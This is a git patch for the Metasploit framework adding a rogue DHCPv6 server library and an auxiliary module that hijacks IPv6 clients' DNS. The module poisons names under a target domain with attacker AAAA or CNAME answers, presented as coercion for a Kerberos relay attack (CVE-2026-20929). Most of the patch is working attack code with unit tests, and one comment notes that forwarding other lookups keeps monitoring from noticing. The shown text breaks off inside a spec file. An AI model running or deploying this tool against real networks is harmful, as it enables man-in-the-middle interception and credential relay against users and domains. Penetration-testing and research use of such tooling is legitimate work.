From b14678c86d12f16aa6eff7698b72bd3b6cccc270 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 16 Jul 2026 23:31:45 +0530 Subject: [PATCH 1/6] Add native DHCPv6 DNS-takeover coercion for Kerberos relay Provide the native coercion half of the Kerberos relay via DNS (CVE-2026-20929), removing the dependency on external tooling like mitm6: - Add Rex::Proto::DHCPv6, a native DHCPv6 packet library (RFC 8415 plus the RFC 3646 DNS options): message/option encoding and helpers to build the rogue server responses that hand a client the attacker as its DNS server. - Add Rex::Proto::DHCPv6::Server, a reusable rogue DHCPv6 server that answers Solicit/Request/Renew/Rebind/Confirm/Information-Request. - Add auxiliary/spoof/dhcp/dhcpv6_dns_takeover, which runs the rogue DHCPv6 server and a paired DNS server that poisons names under a target domain (A/AAAA or a CNAME for the DNS-CNAME relay trick) while forwarding all other lookups so the victim stays functional. --- lib/msf_autoload.rb | 1 + lib/rex/proto/dhcpv6/constants.rb | 69 +++++++ lib/rex/proto/dhcpv6/packet.rb | 192 ++++++++++++++++++ lib/rex/proto/dhcpv6/server.rb | 162 +++++++++++++++ .../spoof/dhcp/dhcpv6_dns_takeover.rb | 183 +++++++++++++++++ spec/lib/rex/proto/dhcpv6/packet_spec.rb | 139 +++++++++++++ spec/lib/rex/proto/dhcpv6/server_spec.rb | 63 ++++++ .../spoof/dhcp/dhcpv6_dns_takeover_spec.rb | 80 ++++++++ 8 files changed, 889 insertions(+) create mode 100644 lib/rex/proto/dhcpv6/constants.rb create mode 100644 lib/rex/proto/dhcpv6/packet.rb create mode 100644 lib/rex/proto/dhcpv6/server.rb create mode 100644 modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb create mode 100644 spec/lib/rex/proto/dhcpv6/packet_spec.rb create mode 100644 spec/lib/rex/proto/dhcpv6/server_spec.rb create mode 100644 spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 42315748312aa..5f181ce05f961 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -293,6 +293,7 @@ def custom_inflections 'rakp2' => 'RAKP2', 'pjl' => 'PJL', 'dhcp' => 'DHCP', + 'dhcpv6' => 'DHCPv6', 'addp' => 'ADDP', 'rfb' => 'RFB', 'io' => 'IO', diff --git a/lib/rex/proto/dhcpv6/constants.rb b/lib/rex/proto/dhcpv6/constants.rb new file mode 100644 index 0000000000000..6c98fde29fa0d --- /dev/null +++ b/lib/rex/proto/dhcpv6/constants.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- + +module Rex + module Proto + # Constants for DHCPv6 (RFC 8415), plus the DNS configuration options from + # RFC 3646. Only the subset needed to run a rogue stateful/stateless DHCPv6 + # server (to become a client's DNS server) is defined here. + module DHCPv6::Constants + # DHCPv6 message types (RFC 8415 section 7.3) + module MessageType + SOLICIT = 1 + ADVERTISE = 2 + REQUEST = 3 + CONFIRM = 4 + RENEW = 5 + REBIND = 6 + REPLY = 7 + RELEASE = 8 + DECLINE = 9 + RECONFIGURE = 10 + INFORMATION_REQUEST = 11 + RELAY_FORW = 12 + RELAY_REPL = 13 + end + + # DHCPv6 option codes (RFC 8415 section 21, RFC 3646 for DNS options) + module OptionCode + CLIENTID = 1 + SERVERID = 2 + IA_NA = 3 + IA_TA = 4 + IAADDR = 5 + ORO = 6 # Option Request Option + PREFERENCE = 7 + ELAPSED_TIME = 8 + STATUS_CODE = 13 + RAPID_COMMIT = 14 + DNS_SERVERS = 23 # RFC 3646: DNS Recursive Name Server option + DOMAIN_LIST = 24 # RFC 3646: Domain Search List option + end + + # DUID types (RFC 8415 section 11) + module DuidType + LLT = 1 # Link-layer address plus time + EN = 2 # Vendor-assigned unique ID based on Enterprise Number + LL = 3 # Link-layer address + end + + # Status codes (RFC 8415 section 21.13) + module StatusCode + SUCCESS = 0 + UNSPEC_FAIL = 1 + NO_ADDRS_AVAIL = 2 + NO_BINDING = 3 + NOT_ON_LINK = 4 + USE_MULTICAST = 5 + end + + # Hardware type for DUID-LL/LLT (IANA; 1 = Ethernet) + HARDWARE_TYPE_ETHERNET = 1 + + # The well-known multicast group all DHCPv6 servers and relay agents listen + # on, and the server/client UDP ports (RFC 8415 section 7.2). + ALL_DHCP_RELAY_AGENTS_AND_SERVERS = 'ff02::1:2' + SERVER_PORT = 547 + CLIENT_PORT = 546 + end + end +end diff --git a/lib/rex/proto/dhcpv6/packet.rb b/lib/rex/proto/dhcpv6/packet.rb new file mode 100644 index 0000000000000..9033453a975f6 --- /dev/null +++ b/lib/rex/proto/dhcpv6/packet.rb @@ -0,0 +1,192 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module DHCPv6 + # A DHCPv6 client/server message (RFC 8415 section 8): a one-byte message + # type, a three-byte transaction id, and a list of TLV options. This parses + # and builds the wire format and provides helpers for assembling the rogue + # server responses used to make a client adopt the attacker as its DNS server. + # + # Relay messages (RELAY-FORW / RELAY-REPL) have a different layout and are not + # modelled here; only direct client/server messages are handled. + class Packet < BinData::Record + # A single DHCPv6 option in TLV form (RFC 8415 section 21.1). Nested so it + # registers with BinData under the unique name :dhcpv6_option (a bare + # :option would collide with other protocols' option records). + class Dhcpv6Option < BinData::Record + endian :big + + uint16 :code + uint16 :len, value: -> { data.num_bytes } + string :data, read_length: :len + end + + endian :big + + uint8 :msg_type + string :transaction_id, length: 3 + array :options, type: :dhcpv6_option, read_until: :eof + + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option, nil] the first option + # with the given code, if present. + def find_option(code) + options.find { |opt| opt.code == code } + end + + # @return [Boolean] whether the client asked for a Rapid Commit (a two-message + # Solicit/Reply exchange rather than the four-message default). + def rapid_commit? + !find_option(Constants::OptionCode::RAPID_COMMIT).nil? + end + + class << self + # Build a DHCPv6 option. + # + # @param code [Integer] the option code + # @param data [String] the option payload (already encoded) + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def option(code, data) + Dhcpv6Option.new(code: code, data: data.b) + end + + # Build a DUID-LL (link-layer address DUID, RFC 8415 section 11.4). + # + # @param mac [String] the link-layer address, as "aa:bb:cc:dd:ee:ff" or 6 raw bytes + # @return [String] the encoded DUID + def duid_ll(mac) + [Constants::DuidType::LL, Constants::HARDWARE_TYPE_ETHERNET].pack('nn') + mac_to_bytes(mac) + end + + # Build a DNS Recursive Name Server option (RFC 3646): the list of IPv6 + # addresses the client should use as DNS servers. + # + # @param addresses [Array] IPv6 addresses in presentation form + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def dns_servers_option(addresses) + option(Constants::OptionCode::DNS_SERVERS, addresses.map { |a| Rex::Socket.addr_aton(a) }.join) + end + + # Build a Domain Search List option (RFC 3646), DNS-name encoded. + # + # @param domains [Array] search domains + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def domain_list_option(domains) + option(Constants::OptionCode::DOMAIN_LIST, domains.map { |d| encode_dns_name(d) }.join) + end + + # Build an IA_NA (Identity Association for Non-temporary Addresses) option + # carrying a single leased address, echoing the client's IAID. + # + # @param iaid [Integer] the client's IAID (from its IA_NA request) + # @param address [String] the IPv6 address to lease, in presentation form + # @param preferred_lifetime [Integer] seconds + # @param valid_lifetime [Integer] seconds + # @param t1 [Integer] renew timer, seconds + # @param t2 [Integer] rebind timer, seconds + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def ia_na_option(iaid:, address:, preferred_lifetime:, valid_lifetime:, t1:, t2:) + iaaddr = option( + Constants::OptionCode::IAADDR, + Rex::Socket.addr_aton(address) + [preferred_lifetime, valid_lifetime].pack('NN') + ) + option(Constants::OptionCode::IA_NA, [iaid, t1, t2].pack('NNN') + iaaddr.to_binary_s) + end + + # Read the IAID out of a request's IA_NA option, if any. + # + # @param request [Rex::Proto::DHCPv6::Packet] + # @return [Integer, nil] + def request_iaid(request) + ia_na = request.find_option(Constants::OptionCode::IA_NA) + return nil if ia_na.nil? + + ia_na.data.to_binary_s[0, 4].unpack1('N') + end + + # The message type to answer a given request with (RFC 8415 section 18.3): + # a Solicit is answered with an Advertise, unless Rapid Commit is requested, + # in which case the exchange collapses to a Reply. Everything else we handle + # (Request/Renew/Rebind/Confirm/Information-Request) is answered with a Reply. + # + # @param request [Rex::Proto::DHCPv6::Packet] + # @return [Integer, nil] the response message type, or nil if we do not answer it + def response_type_for(request) + case request.msg_type + when Constants::MessageType::SOLICIT + request.rapid_commit? ? Constants::MessageType::REPLY : Constants::MessageType::ADVERTISE + when Constants::MessageType::REQUEST, + Constants::MessageType::RENEW, + Constants::MessageType::REBIND, + Constants::MessageType::CONFIRM, + Constants::MessageType::INFORMATION_REQUEST + Constants::MessageType::REPLY + end + end + + # Assemble a rogue server response that advertises the attacker as the + # client's DNS server. Echoes the client's transaction id and Client ID, + # and (for stateful requests carrying an IA_NA) leases the given address. + # + # @param request [Rex::Proto::DHCPv6::Packet] the parsed client message + # @param server_duid [String] the encoded server DUID (see {.duid_ll}) + # @param dns_servers [Array] DNS server IPv6 addresses to hand out + # @param assigned_address [String, nil] address to lease, if answering statefully + # @param preferred_lifetime [Integer] lease preferred lifetime, seconds + # @param valid_lifetime [Integer] lease valid lifetime, seconds + # @param domain_list [Array, nil] optional DNS search domains + # @return [Rex::Proto::DHCPv6::Packet, nil] the response, or nil if the + # request type is not one we answer + def build_response(request:, server_duid:, dns_servers:, assigned_address: nil, + preferred_lifetime: 300, valid_lifetime: 600, domain_list: nil) + response_type = response_type_for(request) + return nil if response_type.nil? + + opts = [ + option(Constants::OptionCode::SERVERID, server_duid) + ] + + client_id = request.find_option(Constants::OptionCode::CLIENTID) + opts << option(Constants::OptionCode::CLIENTID, client_id.data.to_binary_s) unless client_id.nil? + + iaid = request_iaid(request) + if !iaid.nil? && !assigned_address.nil? + opts << ia_na_option( + iaid: iaid, + address: assigned_address, + preferred_lifetime: preferred_lifetime, + valid_lifetime: valid_lifetime, + t1: preferred_lifetime / 2, + t2: (preferred_lifetime * 4) / 5 + ) + end + + opts << dns_servers_option(dns_servers) + opts << domain_list_option(domain_list) unless domain_list.nil? || domain_list.empty? + opts << option(Constants::OptionCode::RAPID_COMMIT, '') if request.rapid_commit? + + new( + msg_type: response_type, + transaction_id: request.transaction_id.to_binary_s, + options: opts.map { |o| { code: o.code, data: o.data.to_binary_s } } + ) + end + + private + + def mac_to_bytes(mac) + return mac.b if mac.b.bytesize == 6 + + [mac.delete(':-')].pack('H*') + end + + # Encode a domain name as a sequence of length-prefixed labels terminated + # by a zero-length root label (RFC 1035 section 3.1). + def encode_dns_name(domain) + domain.split('.').map { |label| [label.bytesize].pack('C') + label }.join + "\x00" + end + end + end + end + end +end diff --git a/lib/rex/proto/dhcpv6/server.rb b/lib/rex/proto/dhcpv6/server.rb new file mode 100644 index 0000000000000..90bf3621223d1 --- /dev/null +++ b/lib/rex/proto/dhcpv6/server.rb @@ -0,0 +1,162 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module DHCPv6 + # A minimal rogue DHCPv6 server (RFC 8415). It answers Solicit / Request / + # Renew / Rebind / Confirm / Information-Request messages, handing the client + # the attacker as its DNS server (and, for stateful requests, a leased + # address). This is the native coercion primitive behind the Kerberos relay + # via DNS (CVE-2026-20929): once the attacker is the client's DNS server, a + # paired DNS server poisons the target name to coerce authentication. + # + # Request parsing and response construction live in {#handle_request}, kept + # separate from the socket I/O so the protocol behaviour is unit-testable. + class Server + include Rex::Socket + + # @param dns_servers [Array] DNS server IPv6 address(es) to hand out + # (the attacker); defaults to the server's own link address at start time. + # @param assigned_address [String, nil] address to lease for stateful (IA_NA) requests + # @param domain_list [Array, nil] optional DNS search domains + # @param server_mac [String, nil] link-layer address for the server DUID (random if nil) + # @param listen_host [String] local bind address (all IPv6 by default) + # @param interface [String, nil] interface name to bind / join multicast on + # @param context [Hash] Rex socket context + # + # Lease lifetimes default to 300s/600s and can be overridden via the + # +preferred_lifetime+ / +valid_lifetime+ accessors. + def initialize(dns_servers: [], assigned_address: nil, domain_list: nil, server_mac: nil, + listen_host: '::', interface: nil, context: {}) + self.dns_servers = dns_servers + self.assigned_address = assigned_address + self.domain_list = domain_list + self.server_duid = Packet.duid_ll(server_mac || random_mac) + self.listen_host = listen_host + self.interface = interface + self.preferred_lifetime = 300 + self.valid_lifetime = 600 + self.context = context + self.sock = nil + end + + # A block invoked with (message_type, client_host, request_packet) each + # time a request is answered, for logging / reporting. + def on_request(&block) + self.reporter = block + end + + # Start listening and answering DHCPv6 requests. + def start + self.sock = Rex::Socket::Udp.create( + 'LocalHost' => listen_host, + 'LocalPort' => Constants::SERVER_PORT, + 'Context' => context, + 'Ipv6' => true + ) + + if interface && !interface.empty? + begin + sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BINDTODEVICE, "#{interface}\0") + rescue StandardError => e + elog("Failed to bind DHCPv6 server to #{interface}", error: e) + end + end + + join_multicast_group + + self.thread = Rex::ThreadFactory.spawn('DHCPv6ServerMonitor', false) { monitor_socket } + end + + def stop + thread.kill if thread + begin + sock&.close + rescue StandardError => e + elog('Failed to close DHCPv6 server socket', error: e) + end + self.sock = nil + end + + # Parse a raw client message and build the rogue response bytes. + # + # @param buf [String] the received DHCPv6 message + # @return [Array(Integer, String), nil] the response message type and its + # encoded bytes, or nil if the message is not one we answer. + def handle_request(buf) + request = Packet.read(buf) + response = Packet.build_response( + request: request, + server_duid: server_duid, + dns_servers: dns_servers, + assigned_address: assigned_address, + preferred_lifetime: preferred_lifetime, + valid_lifetime: valid_lifetime, + domain_list: domain_list + ) + return nil if response.nil? + + [request.msg_type, response.to_binary_s] + rescue StandardError => e + elog('Failed to handle DHCPv6 request', error: e) + nil + end + + attr_accessor :dns_servers, :assigned_address, :domain_list, :server_duid, + :listen_host, :interface, :preferred_lifetime, :valid_lifetime, + :context, :sock, :thread, :reporter + + protected + + def monitor_socket + loop do + readable, = ::IO.select([sock], nil, nil, 1) + next unless readable && readable[0] == sock + + buf, addr = sock.recvfrom(65535) + next if buf.nil? || buf.empty? + + client_host = addr[3] + result = handle_request(buf) + next if result.nil? + + msg_type, response = result + # DHCPv6 clients listen on the client port; reply to the source address. + sock.sendto(response, client_host, Constants::CLIENT_PORT) + reporter&.call(msg_type, client_host, buf) + end + end + + # Join the well-known DHCPv6 multicast group so the socket receives the + # multicast Solicit/Request messages clients send. Best-effort: platforms + # and interface indices vary, so failure is logged rather than fatal. + def join_multicast_group + group = Rex::Socket.addr_aton(Constants::ALL_DHCP_RELAY_AGENTS_AND_SERVERS) + ifindex = interface_index + sock.setsockopt(::Socket::IPPROTO_IPV6, ipv6_join_group_opt, group + [ifindex].pack('N')) + rescue StandardError => e + elog('Failed to join DHCPv6 multicast group', error: e) + end + + def ipv6_join_group_opt + if ::Socket.const_defined?(:IPV6_JOIN_GROUP) + ::Socket::IPV6_JOIN_GROUP + else + ::Socket::IPV6_ADD_MEMBERSHIP + end + end + + def interface_index + return 0 if interface.nil? || interface.empty? + + ::Socket.getifaddrs.find { |ifaddr| ifaddr.name == interface }&.ifindex || 0 + end + + def random_mac + # 0x02 in the first octet marks the address locally administered + "\x02".b + Random.new.bytes(5) + end + end + end + end +end diff --git a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb new file mode 100644 index 0000000000000..887d8f41e62ba --- /dev/null +++ b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb @@ -0,0 +1,183 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::DNS::Client + include Msf::Exploit::Remote::DNS::Server + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'DHCPv6 DNS Takeover (mitm6-style IPv6 DNS coercion)', + 'Description' => %q{ + This module runs a rogue DHCPv6 server that hands the attacker to IPv6 + clients as their DNS server (the classic mitm6 primitive), and a paired + DNS server that poisons names under a target domain to point at the + attacker while transparently forwarding all other lookups so the victim + stays functional. + + Once a client resolves a target service through the attacker, it can be + coerced into authenticating to the attacker. Paired with a Kerberos relay + target (for example ESC8 AD CS web enrollment), this is the native + coercion half of the Kerberos relay via DNS technique (CVE-2026-20929), + removing the dependency on external tooling such as mitm6. + + IPv6 is preferred by Windows over IPv4, so becoming the client's IPv6 DNS + server is enough to intercept its name resolution even on IPv4 networks. + }, + 'Author' => [ + 'Pushpender Rathore' # native DHCPv6 + DNS coercion + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-20929'], + ['URL', 'https://github.com/dirkjanm/mitm6'], + ['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE] + ], + 'Actions' => [ + [ 'Service', { 'Description' => 'Run the DHCPv6 and DNS takeover services' } ] + ], + 'PassiveActions' => [ 'Service' ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), + OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), + OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), + OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ]), + OptString.new('LEASE_IP6', [ false, 'IPv6 address to lease to clients making stateful (IA_NA) requests.' ]), + OptString.new('DHCPV6_INTERFACE', [ false, 'Network interface to bind the DHCPv6 server and join the multicast group on.' ]) + ] + ) + end + + def run + validate_ipv6!(datastore['SPOOF_IP6'], 'SPOOF_IP6') + validate_ipv6!(datastore['LEASE_IP6'], 'LEASE_IP6') if datastore['LEASE_IP6'].present? + + start_service + print_status("DNS server started, poisoning names under #{datastore['TARGET_DOMAIN']} -> #{poison_description}") + + start_dhcpv6_server + print_status("DHCPv6 server started, advertising #{datastore['SPOOF_IP6']} as the DNS server") + + service.wait if service + rescue Rex::BindFailed => e + print_error("Failed to bind a service socket: #{e.message}") + end + + def cleanup + super + @dhcpv6_server&.stop + @dhcpv6_server = nil + end + + # Poison lookups that fall under the target scope; forward everything else so + # the victim keeps working (and so we do not tip off monitoring by breaking + # unrelated name resolution). + def on_dispatch_request(cli, data) + return if data.strip.empty? + + req = Packet.encode_drb(data) + peer = "#{cli.peerhost}:#{cli.peerport}" + + poisoned = false + req.question.each do |question| + answers = poison_answers_for(question) + next if answers.empty? + + answers.each { |rr| req.add_answer(rr) } + poisoned = true + print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}") + end + + unless poisoned + # Not in scope: fall back to the default cache/forward behaviour. + return service.default_dispatch_request(cli, data) + end + + req.header.qr = true + req.header.ra = true + service.send_response(cli, Packet.validate(req).encode) + end + + private + + def poison_answers_for(question) + name = question.qname.to_s.chomp('.').downcase + return [] unless in_scope?(name) + + qtype = question.qtype.to_s + if datastore['RELAY_CNAME'].present? + # Steer the victim onto a name whose SPN the attacker will relay for. + return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")] + end + + case qtype + when 'AAAA' + [Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])] + when 'A' + # Only answer A records if an IPv4 spoof address is meaningful; otherwise + # returning nothing lets the client prefer the AAAA answer we control. + srvhost = datastore['SRVHOST'] + Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : [] + else + [] + end + end + + def in_scope?(name) + if datastore['TARGET_HOSTS'].present? + target_hosts.include?(name) + else + domain = datastore['TARGET_DOMAIN'].downcase.chomp('.') + name == domain || name.end_with?(".#{domain}") + end + end + + def target_hosts + @target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?) + end + + def start_dhcpv6_server + @dhcpv6_server = Rex::Proto::DHCPv6::Server.new( + dns_servers: [datastore['SPOOF_IP6']], + assigned_address: datastore['LEASE_IP6'], + domain_list: [datastore['TARGET_DOMAIN']], + interface: datastore['DHCPV6_INTERFACE'], + context: { 'Msf' => framework, 'MsfExploit' => self } + ) + @dhcpv6_server.on_request do |msg_type, client_host, _buf| + vprint_status("DHCPv6 #{dhcpv6_message_name(msg_type)} from #{client_host}, answered with DNS #{datastore['SPOOF_IP6']}") + end + @dhcpv6_server.start + end + + def poison_description + datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6'] + end + + def dhcpv6_message_name(msg_type) + Rex::Proto::DHCPv6::Constants::MessageType.constants.find do |c| + Rex::Proto::DHCPv6::Constants::MessageType.const_get(c) == msg_type + end || msg_type + end + + def validate_ipv6!(address, name) + return if Rex::Socket.is_ipv6?(address.to_s) + + fail_with(Failure::BadConfig, "#{name} must be a valid IPv6 address") + end +end diff --git a/spec/lib/rex/proto/dhcpv6/packet_spec.rb b/spec/lib/rex/proto/dhcpv6/packet_spec.rb new file mode 100644 index 0000000000000..aa254aa8686f5 --- /dev/null +++ b/spec/lib/rex/proto/dhcpv6/packet_spec.rb @@ -0,0 +1,139 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::DHCPv6::Packet do + let(:const) { Rex::Proto::DHCPv6::Constants } + let(:client_duid) { described_class.duid_ll('11:22:33:44:55:66') } + let(:server_duid) { described_class.duid_ll('aa:bb:cc:dd:ee:ff') } + + def build_solicit(extra_options = []) + described_class.new( + msg_type: const::MessageType::SOLICIT, + transaction_id: "\x01\x02\x03", + options: [ + { code: const::OptionCode::CLIENTID, data: client_duid }, + { code: const::OptionCode::IA_NA, data: [0xdeadbeef, 0, 0].pack('NNN') } + ] + extra_options + ) + end + + describe 'wire encoding' do + it 'round-trips a message through the wire format unchanged' do + wire = build_solicit.to_binary_s + expect(described_class.read(wire).to_binary_s).to eq(wire) + end + + it 'lays out the header as type + 3-byte transaction id + TLV options' do + wire = build_solicit.to_binary_s + expect(wire[0].unpack1('C')).to eq(const::MessageType::SOLICIT) + expect(wire[1, 3]).to eq("\x01\x02\x03".b) + # first option: CLIENTID (code 1), length, then the DUID + expect(wire[4, 2].unpack1('n')).to eq(const::OptionCode::CLIENTID) + expect(wire[6, 2].unpack1('n')).to eq(client_duid.bytesize) + end + end + + describe '.duid_ll' do + it 'encodes DUID type 3, ethernet hardware type, and the MAC bytes' do + expect(client_duid).to eq("\x00\x03\x00\x01\x11\x22\x33\x44\x55\x66".b) + end + + it 'accepts a MAC with dashes or raw bytes' do + expect(described_class.duid_ll('11-22-33-44-55-66')).to eq(client_duid) + expect(described_class.duid_ll("\x11\x22\x33\x44\x55\x66".b)).to eq(client_duid) + end + end + + describe '.dns_servers_option' do + it 'packs each IPv6 address as 16 network-order bytes' do + opt = described_class.dns_servers_option(['fe80::1', '2001:db8::2']) + expect(opt.code).to eq(const::OptionCode::DNS_SERVERS) + expect(opt.data.to_binary_s).to eq(Rex::Socket.addr_aton('fe80::1') + Rex::Socket.addr_aton('2001:db8::2')) + end + end + + describe '.request_iaid' do + it 'reads the IAID out of the request IA_NA option' do + expect(described_class.request_iaid(build_solicit)).to eq(0xdeadbeef) + end + + it 'returns nil when there is no IA_NA' do + info_req = described_class.new(msg_type: const::MessageType::INFORMATION_REQUEST, transaction_id: 'abc') + expect(described_class.request_iaid(info_req)).to be_nil + end + end + + describe '.response_type_for' do + it 'answers a Solicit with an Advertise' do + expect(described_class.response_type_for(build_solicit)).to eq(const::MessageType::ADVERTISE) + end + + it 'answers a Rapid-Commit Solicit with a Reply' do + solicit = build_solicit([{ code: const::OptionCode::RAPID_COMMIT, data: '' }]) + expect(described_class.response_type_for(solicit)).to eq(const::MessageType::REPLY) + end + + it 'answers a Request with a Reply' do + req = described_class.new(msg_type: const::MessageType::REQUEST, transaction_id: 'abc') + expect(described_class.response_type_for(req)).to eq(const::MessageType::REPLY) + end + + it 'does not answer message types it does not handle (e.g. Release)' do + rel = described_class.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc') + expect(described_class.response_type_for(rel)).to be_nil + end + end + + describe '.build_response' do + subject(:response) do + described_class.build_response( + request: described_class.read(build_solicit.to_binary_s), + server_duid: server_duid, + dns_servers: ['fe80::53'], + assigned_address: 'fe80::dead', + domain_list: ['kerberos.issue'] + ) + end + + it 'produces a wire-valid Advertise that echoes the transaction id' do + expect(response.msg_type).to eq(const::MessageType::ADVERTISE) + expect(response.transaction_id.to_binary_s).to eq("\x01\x02\x03".b) + expect(described_class.read(response.to_binary_s).to_binary_s).to eq(response.to_binary_s) + end + + it 'includes the server DUID and echoes the client DUID' do + server_id = response.find_option(const::OptionCode::SERVERID) + client_id = response.find_option(const::OptionCode::CLIENTID) + expect(server_id.data.to_binary_s).to eq(server_duid) + expect(client_id.data.to_binary_s).to eq(client_duid) + end + + it 'hands out the attacker as DNS server' do + dns = response.find_option(const::OptionCode::DNS_SERVERS) + expect(Rex::Socket.addr_ntoa(dns.data.to_binary_s)).to eq('fe80::53') + end + + it 'leases the assigned address in an IA_NA echoing the client IAID' do + ia_na = response.find_option(const::OptionCode::IA_NA) + expect(ia_na.data.to_binary_s[0, 4].unpack1('N')).to eq(0xdeadbeef) + # IA_NA data = IAID(4) + T1(4) + T2(4), then a nested IAADDR option + # (code(2) + len(2) + address(16) + lifetimes(8)); address starts at 12 + 4. + iaaddr_option = ia_na.data.to_binary_s[12..] + expect(iaaddr_option[0, 2].unpack1('n')).to eq(const::OptionCode::IAADDR) + expect(Rex::Socket.addr_ntoa(iaaddr_option[4, 16])).to eq('fe80::dead') + end + + it 'returns nil for a request type it does not answer' do + release = described_class.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc') + expect(described_class.build_response(request: release, server_duid: server_duid, dns_servers: ['fe80::53'])).to be_nil + end + + it 'echoes Rapid Commit and replies when the client requested it' do + solicit = described_class.read(build_solicit([{ code: const::OptionCode::RAPID_COMMIT, data: '' }]).to_binary_s) + reply = described_class.build_response(request: solicit, server_duid: server_duid, dns_servers: ['fe80::53']) + expect(reply.msg_type).to eq(const::MessageType::REPLY) + expect(reply.find_option(const::OptionCode::RAPID_COMMIT)).not_to be_nil + end + end +end diff --git a/spec/lib/rex/proto/dhcpv6/server_spec.rb b/spec/lib/rex/proto/dhcpv6/server_spec.rb new file mode 100644 index 0000000000000..0fa51ef179f22 --- /dev/null +++ b/spec/lib/rex/proto/dhcpv6/server_spec.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::DHCPv6::Server do + let(:const) { Rex::Proto::DHCPv6::Constants } + let(:packet) { Rex::Proto::DHCPv6::Packet } + + subject(:server) do + described_class.new( + dns_servers: ['fe80::53'], + assigned_address: 'fe80::dead', + server_mac: 'aa:bb:cc:dd:ee:ff' + ) + end + + def solicit + packet.new( + msg_type: const::MessageType::SOLICIT, + transaction_id: "\x01\x02\x03", + options: [ + { code: const::OptionCode::CLIENTID, data: packet.duid_ll('11:22:33:44:55:66') }, + { code: const::OptionCode::IA_NA, data: [0xcafef00d, 0, 0].pack('NNN') } + ] + ).to_binary_s + end + + describe '#handle_request' do + it 'answers a Solicit with an Advertise handing out the attacker as DNS' do + msg_type, response = server.handle_request(solicit) + expect(msg_type).to eq(const::MessageType::SOLICIT) + + reply = packet.read(response) + expect(reply.msg_type).to eq(const::MessageType::ADVERTISE) + dns = reply.find_option(const::OptionCode::DNS_SERVERS) + expect(Rex::Socket.addr_ntoa(dns.data.to_binary_s)).to eq('fe80::53') + end + + it 'uses the configured server MAC in the server DUID' do + _msg_type, response = server.handle_request(solicit) + server_id = packet.read(response).find_option(const::OptionCode::SERVERID) + expect(server_id.data.to_binary_s).to eq(packet.duid_ll('aa:bb:cc:dd:ee:ff')) + end + + it 'returns nil for a message type it does not answer' do + release = packet.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc').to_binary_s + expect(server.handle_request(release)).to be_nil + end + + it 'returns nil (and does not raise) on malformed input' do + expect(server.handle_request("\xff")).to be_nil + end + end + + describe '#initialize' do + it 'generates a random locally-administered server DUID when no MAC is given' do + s = described_class.new(dns_servers: ['fe80::53']) + # DUID-LL: type(2) + hwtype(2) + 6-byte MAC; first MAC byte 0x02 = locally administered + expect(s.server_duid.bytesize).to eq(10) + expect(s.server_duid[4].unpack1('C')).to eq(0x02) + end + end +end diff --git a/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb new file mode 100644 index 0000000000000..b2566fcc16fc4 --- /dev/null +++ b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb @@ -0,0 +1,80 @@ +require 'spec_helper' + +RSpec.describe 'auxiliary/spoof/dhcp/dhcpv6_dns_takeover' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:mod) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'spoof/dhcp/dhcpv6_dns_takeover' + ) + end + + let(:cli) { double('cli', peerhost: '10.0.0.5', peerport: 546) } + let(:dns_service) { double('service') } + + before do + mod.datastore['TARGET_DOMAIN'] = 'kerberos.issue' + mod.datastore['SPOOF_IP6'] 